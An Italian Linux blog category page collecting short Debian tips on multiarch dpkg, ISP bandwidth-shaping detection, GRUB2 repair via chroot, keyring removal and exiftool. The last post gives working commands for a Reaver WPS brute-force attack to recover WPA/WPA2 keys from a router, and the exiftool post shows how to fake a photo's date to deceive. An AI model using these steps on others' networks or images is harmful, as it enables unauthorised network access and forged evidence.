Archivio per la Categoria “Utility”
Ecco una notizia che non mi aspettavo, ovvero l'arrivo di DPKG 1.16.2~wipmultiarch con supporto multi-architetture, Quindi in futuro potremo installare pacchetti "foreign" sulla nostra Debian, sempre che il nostro pc è in grado di avviare programmi i386 e amd64. Per chi volesse provarlo inserire i repo experimental e poi:
$ sudo apt-get update
$ sudo apt-get install -t experimental dpkg
$ sudo dpkg --add-architecture amd64 (oppure i386)
$ sudo apt-get update
per utilizzarlo:
sudo apt-get install foo:<arch>
chiaramente al momento ci sono problemi con le dipendenze, mi sono messo anche a cercare qualche programma di arch differente da installare, ma non l'ho trovato. Chi sarà il primo fortunato
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Tag: dpkg
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Per scoprire se il proprio ISP limita la banda, in ambienti Gnu/Linux si può utilizzare DiffProbe Shaper Module.
$ wget http://www.cc.gatech.edu/~partha/diffprobe/shaperprobe.tgz
$ tar xvf shaperprobe.tgz
$ cd shaperprobe
$ make
$ ./prober
il test dura un paio di minuti, e se tutto è andato bene, si avrà qualcosa di simile.
edmond@Debianbox:~/shaperprobe$ ./prober
DiffProbe release. January 2012.
Shaper Detection Module.
Connected to server 74.63.50.40.
Estimating capacity:
Upstream: 54 Kbps.
Downstream: 547 Kbps.
The measurement will last for about 2.5 minutes. Please wait.
Checking for traffic shapers:
Upstream: No shaper detected.
Median received rate: 112 Kbps.
Downstream: Burst size: 130-135 KB; Shaping rate: 373 Kbps.
For more information, visit: http://www.cc.gatech.edu/~partha/diffprobe
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Tag: rete
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Il metodo che ho sempre usato, ogni qual volta ho avuto la necessità di ripristinare il bootloader (Grub2), è stato quello del chroot. Ho preso questa abitudine dopo che mi sono accorto un bel po di tempo fa, che spesso ii metodi "normali" non sempre mi funzionavano. Invece questo metodo non ha mai fallito.
Requisiti:
Cd live, della stessa architettura del sistema da recuperare.
$ sudo fdisk -l
$ sudo mount /dev/sdXX /mnt
$ for i in /dev /dev/pts /proc /sys; do sudo mount -B $i /mnt$i; done
$ sudo chroot /mnt
# grub-install /dev/sdX
CTRL-D
$ sudo reboot
enjpy
Tag: chroot, Grub2, MBR
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Se capita di avere problemi col riavvio in Debian, ora sapete con chi prendervela . Ultimamente per una questione di tempo, ho installato Debian Squeeze da un Live CD, e di conseguenza mi sono ritrovato con il problema di non riuscire, una volta riavviato, a vedere gli altri O.S. nel menu di Grub. Tutto questo per opera di kexec-tools, questo pacchetto fornisce strumenti per caricare in memoria un kernel e poi "riavviare" direttamente in questo kernel tramite la chiamata di sistema
kexec, bypassando il normale processo di avvio.
# apt-get remove --purge kexec-tools
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Tag: errori
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Sul mio Aspire One, dove è installata Debian Squeeze, ho deciso di disabilatare la password di accesso del mio utente, anche perchè lo uso poco e quasi sempre in casa. Disabilitando la password di accesso però, ad ogni avvio appare la richiesta di sblocco portachiavi, e questo è ancora più fastidioso.Io ho risolto la cosa in maniera "grezza", non so se esistono altri modi, e dato che ha funzionato, a me sta bene così
$ rm -f ~/.gnome2/keyrings/login.keyring
# nano /etc/pam.d/gdm3
ed inserire solo la riga rossa:
#%PAM-1.0
auth requisite pam_nologin.so
auth required pam_succeed_if.so user != root quiet_success
@include common-auth
auth optional pam_gnome_keyring.so
@include common-account
session required pam_limits.so
session required pam_env.so readenv=1
session required pam_env.so readenv=1 envfile=/etc/default/locale
@include common-session
session optional pam_gnome_keyring.so auto_start
@include common-pamkeyring
@include common-password
nel caso si volesse tornare ad avere la password, ricordarsi prima di eliminare "@include common-pamkeyring"
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Tag: keyring, portachiavi
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La mia sheela
Ho già parlato in passato di exiftool, e di quanto sia importante cancellare i metadati che si nascondono in una foto, prima di distribuirla in giro. Comunque, per motivi che non sto qui a spiegare, io controllo sempre i dati nelle foto, poichè, questo mi fa capire, con l'aiuto di domande mirate successive, se chi le ha inviate dice il vero. Ma se io volessi deliberatamente mentire? far credere che quella foto sia stata scattata in una data diversa, e quindi ingannare un'occhio poco attento?….come fare??? Semplice, basta manipolare la data con exiftool. Come esempio porto la foto leggermente "purificata" della mia sheela, scattata nel 2007. I dati presenti sulla foto sono i seguenti:
ORIGINALE:
edmond@Debianbox:~/Desktop/test$ exiftool -a -u -g1 sheela.jpg
—- ExifTool —-
ExifTool Version Number : 8.60
—- System —-
File Name : sheela.jpg
Directory : .
File Size : 189 kB
File Modification Date/Time : 2007:09:30 15:23:51+02:00
File Permissions : rw-r—–
—- File —-
File Type : JPEG
MIME Type : image/jpeg
Image Width : 500
Image Height : 375
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
—- JFIF —-
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 72
Y Resolution : 72
—- Composite —-
Image Size : 500×375
quindi per manipolare la data, facendo anche una copia dell'originale, il comando da usare è il seguente:
$ exiftool -DateTimeOriginal='2012:01:15 14:50:04' foto.jpg
FAKE:
edmond@Debianbox:~/Desktop/test$ exiftool -DateTimeOriginal='2012:01:15 14:50:04' sheela.jpg
1 image files updated
edmond@Debianbox:~/Desktop/test$ exiftool -a -u -g1 sheela.jpg—- ExifTool —-
ExifTool Version Number : 8.60
—- System —-
File Name : sheela.jpg
Directory : .
File Size : 190 kB
File Modification Date/Time : 2012:01:15 14:50:37+01:00
File Permissions : rw-r—–
—- File —-
File Type : JPEG
MIME Type : image/jpeg
Exif Byte Order : Big-endian (Motorola, MM)
Image Width : 500
Image Height : 375
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
—- JFIF —-
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 72
Y Resolution : 72
—- IFD0 —-
X Resolution : 72
Y Resolution : 72
Resolution Unit : inches
Y Cb Cr Positioning : Centered
—- ExifIFD —-
Exif Version : 0230
Date/Time Original : 2012:01:15 14:50:04
Components Configuration : Y, Cb, Cr, -
Flashpix Version : 0100
Color Space : Uncalibrated
—- Composite —-
Image Size : 500×375
per cancellare tutti i metadati:
$ exiftool -all= foto.jpg
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Tag: exiftool, Sicurezza
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Reaver WPS riesce con un attaco brute force a decifrare la password wpa/wpa2 della nostra rete, in determinate condizioni. Prima di tutto il WPS o Wi-Fi Protected Setup è diffuso nei router domestici, in genere lo si trova sotto la voce wifi-protezione. La vulnerabilità si nasconde prorpio in questo standard, in quanto, se si utilizza la modalità di inserimento pin al posto del push button, questa apre una falla. Praticamente bombardando il router di pacchetti, questo restituisce molte informazioni utili al cracking. Comunque in rete si trovano spiegazioni più esaustive e dettagliate. Come prima cosa bisogna installare aircrack-ng, e compilarselo, dato che non è più presente nei repository ufficiali, oppure prelevarlo dal mio repository. Per avere quindi reaver su Debian:
$ sudo apt-get install libpcap0.8-dev libsqlite3-dev
$ wget http://reaver-wps.googlecode.com/files/reaver-1.3.tar.gz
$ tar -xvf reaver-1.3.tar.gz
$ cd reaver-1.3/src/
$ ./configure
$ make
$ sudo make install
mettere in monitor mode la scheda:
# airmon-ng start wlan0
il comando sopra creerà mon0 in monitor mode
Interface Chipset Driver
wlan0 Ralink 2561 PCI rt61pci – [phy0]
(monitor mode enabled on mon0)
scanning per rilevare reti wpa:
# walsh -i mon0 --ignore-fcs
attacco:
# reaver -i mon0 -b 00:11:22:33:44:55 --dh-small
per altri comandi leggere la documentazione all'interno del pacchetto.
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Tag: cracking, reaver, rete, Sicurezza
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